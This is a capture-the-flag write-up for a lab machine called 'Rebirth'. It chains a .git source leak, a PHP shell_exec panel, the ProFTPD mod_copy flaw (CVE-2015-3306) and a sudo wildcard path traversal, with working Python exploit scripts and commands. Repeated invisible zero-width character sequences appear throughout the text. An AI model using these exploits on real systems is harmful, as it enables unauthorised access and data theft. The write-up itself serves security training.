← Back to Writeups
CUSTOMMediumInfrastructure

Возрождение (Rebirth)

XESXOR9/2/20265 min read
#infrastructure#custom#medium#exposed_git_source_disclosure#git_dumper_repo_dump#hardcoded_credential_recovery#php_shell_exec_rce#proftpd_mod_copy_arbitrary_fil#sudo_wildcard_path_traversal#multi_part_flag_reassembly#cve-2015-3306#linux

Возрождение (Rebirth)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-05 | Status: Solved Techniques: exposed_git_source_disclosure, git_dumper_repo_dump, hardcoded_credential_recovery, php_shell_exec_rce, proftpd_mod_copy_arbitrary_file_copy, sudo_wildcard_path_traversal, multi_part_flag_reassembly

Summary

Task: boot2root machine with exposed .git repo, ProFTPD 1.3.5, and a PHP command panel; flag split across protected files owned by user jonah and root. Solution: dump .git with git-dumper to recover hardcoded admin creds and a shell_exec RCE panel, abuse ProFTPD mod_copy (CVE-2015-3306) SITE CPFR/CPTO to copy jonah's protected files into world-readable /tmp, SSH in, then escalate via a sudo NOPASSWD wildcard (cat /etc/apache2/*) path-traversal to read root's last flag part.

Возрождение (Rebirth) — hackerlab

Description

Если пазл не складывается, и теперь уже невозможно собрать его воедино — начни сначала.

English summary: "If the puzzle doesn't fit together, and now it's impossible to assemble it as a whole — start over." The hint points to git repository reconstruction ("start over" / a fresh repo) and a multi-part flag that must be reassembled like a puzzle. Target is a boot2root machine at 192.168.2.200 (VPN); the goal is to recover the full CODEBY{...} flag, whose plaintext ("we'll start with a new leaf") matches the Rebirth theme. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Port scan of 192.168.2.200:

PortService
21/tcpProFTPD 1.3.5
22/tcpOpenSSH
53/tcpDNS
8000/tcpApache + PHP app (302 → login.php, particles.js front-end)

Key observations that drive the whole chain:

  • ProFTPD 1.3.5 is the exact version vulnerable to the mod_copy SITE CPFR/SITE CPTO pre-auth arbitrary file copy bug (CVE-2015-3306).
  • The FTP banner shows [172.18.0.2] — a Docker bridge IP, NOT a separate host. The FTP daemon and the web app run on the same machine. This co-location is exactly what makes the attack work: the FTP daemon runs as jonah, and the web RCE runs as www-data, so we can read jonah-owned files by copying them somewhere www-data can read.
  • The .git directory is exposed on the web server → source disclosure. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Stage 1 — Exposed .git → source disclosure

/.git/HEAD returns 200, so the repository is exposed (directory listing is 403, but objects are fetchable by hash, which git-dumper handles).

bash
curl -s http://192.168.2.200:8000/.git/HEAD          # 200 OK → repo exposed
curl -s http://192.168.2.200:8000/.git/logs/HEAD     # initial commit by root <cyberpride0@gmail.com>
git-dumper http://192.168.2.200:8000/.git/ dump      # reconstruct full repo

Recovered source:

  • login.php — hardcoded credentials:
    php
    if ($username === 'admin' && $password === '4nt1h4ck3r') { /* auth OK */ }
  • index.php — command execution panel (RCE):
    php
    if (isset($_POST['cmd'])) { $output = shell_exec($_POST['cmd']); }
    // reflected as: <p style='color: grey;'>$output</p>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 2 — Authenticated RCE as www-data

Log in with admin:4nt1h4ck3r, keep the PHPSESSID cookie, then POST cmd to index.php.

shell_exec output is reflected inside <p style='color: grey;'>...</p>, and multi-line output breaks naive HTML parsing. Over a high-latency VPN, the reliable trick is to base64-encode and strip newlines so the whole result lands in one capturable group:

python
#!/usr/bin/env python3
# Stage 2 helper: authenticated RCE with reliable output capture
import re, base64, requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE = "http://192.168.2.200:8000"
s = requests.Session()
s.post(f"{BASE}/login.php",
       data={"username": "admin", "password": "4nt1h4ck3r"},
       allow_redirects=True)

def rce(cmd):
    # wrap so multi-line / stderr output survives the <p>...</p> reflection
    payload = f"( {cmd} ) 2>&1 | base64 | tr -d '\\n'"
    r = s.post(f"{BASE}/index.php", data={"cmd": payload})
    m = re.search(r"color: grey;'>([A-Za-z0-9+/=]+)</p>", r.text)
    return base64.b64decode(m.group(1)).decode(errors="replace") if m else r.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(rce("id"))                 # uid=33(www-data)
print(rce("ls -la /home/jonah")) # enumerate jonah's home

Enumeration finds user jonah with two protected files in /home/jonah, both -r-------- owned by jonah (unreadable by www-data):

  • first_part
  • .secret

Stage 3 — Read jonah's files via ProFTPD mod_copy (CVE-2015-3306)

/usr/local/etc/proftpd.conf sets User jonah / Group jonah, and ps aux confirms the proftpd master runs as jonah. The mod_copy SITE CPFR / SITE CPTO commands are enabled and usable pre-auth, executing with the daemon's (jonah's) privileges. /tmp is world-writable (drwxrwxrwt), so copy jonah's files there: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
# Stage 3: ProFTPD mod_copy (CVE-2015-3306) pre-auth arbitrary file copy
import socket

def ftp_cmd(sock, cmd):
    sock.sendall(cmd.encode() + b"\r\n")
    return sock.recv(4096).decode(errors="replace")

s = socket.create_connection(("192.168.2.200", 21), timeout=15)
print(s.recv(4096).decode())                       # ProFTPD 1.3.5 banner

for src, dst in [("/home/jonah/first_part", "/tmp/fp.txt"),
                 ("/home/jonah/.secret",    "/tmp/sec.txt")]:
    print(ftp_cmd(s, f"SITE CPFR {src}"))          # 350 File or directory exists...
    print(ftp_cmd(s, f"SITE CPTO {dst}"))          # 250 Copy successful
s.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The copied files become owned by jonah but world-readable (644), so read them via the Stage-2 RCE as www-data:

python
print(rce("cat /tmp/fp.txt"))   # CODEBY{W3LL_S74RT_
print(rce("cat /tmp/sec.txt"))  # 2LQg8UkTwfXw   <-- jonah's password, NOT a flag part
  • first_part = CODEBY{W3LL_S74RT_
  • .secret = 2LQg8UkTwfXw → this is jonah's SSH/login password, not part of the flag.

Stage 4 — Privilege escalation via sudo wildcard path traversal

SSH in as jonah with the recovered password: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
sshpass -p '2LQg8UkTwfXw' ssh -o StrictHostKeyChecking=no jonah@192.168.2.200
bash
jonah@target:~$ sudo -l
(ALL) NOPASSWD: /bin/cat /etc/apache2/*

The trailing wildcard /etc/apache2/* does not confine reads to that directory — the shell expands * and cat happily follows ../ traversal sequences. Read any root-owned file:

bash
sudo /bin/cat /etc/apache2/../../root/last_part
# REDACTED}

Stage 5 — Reassemble the flag (the "puzzle")

Combine the two real parts (.secret was a decoy password): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

first_part + last_part
CODEBY{W3LL_S74RT_ + REDACTED}
= CODEBY{REDACTED}

The plaintext reads "we'll start with a new leaf" — matching the Возрождение / Rebirth theme and the "start over / reassemble the puzzle" hint.

Lessons Learned / Pitfalls

  • Anonymous FTP login fails (530). Don't waste time on it — the FTP attack surface is mod_copy, which is pre-auth and needs no login.
  • The 172.18.0.2 in the ProFTPD banner is a Docker bridge IP, not a second host. FTP (as jonah) and the web RCE (as www-data) share one machine — that co-location is the whole point of the chain.
  • mod_copy cannot write into the Apache webroot /var/www/html (CPTO → permission denied), and that path isn't web-served anyway. The intended use here is to read jonah's protected files by copying them into world-readable /tmp, not to plant a webshell.
  • .secret is a decoy for the flag puzzle but a real credential for lateral movement — recognize that "secret" content may be a password, not a flag part. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍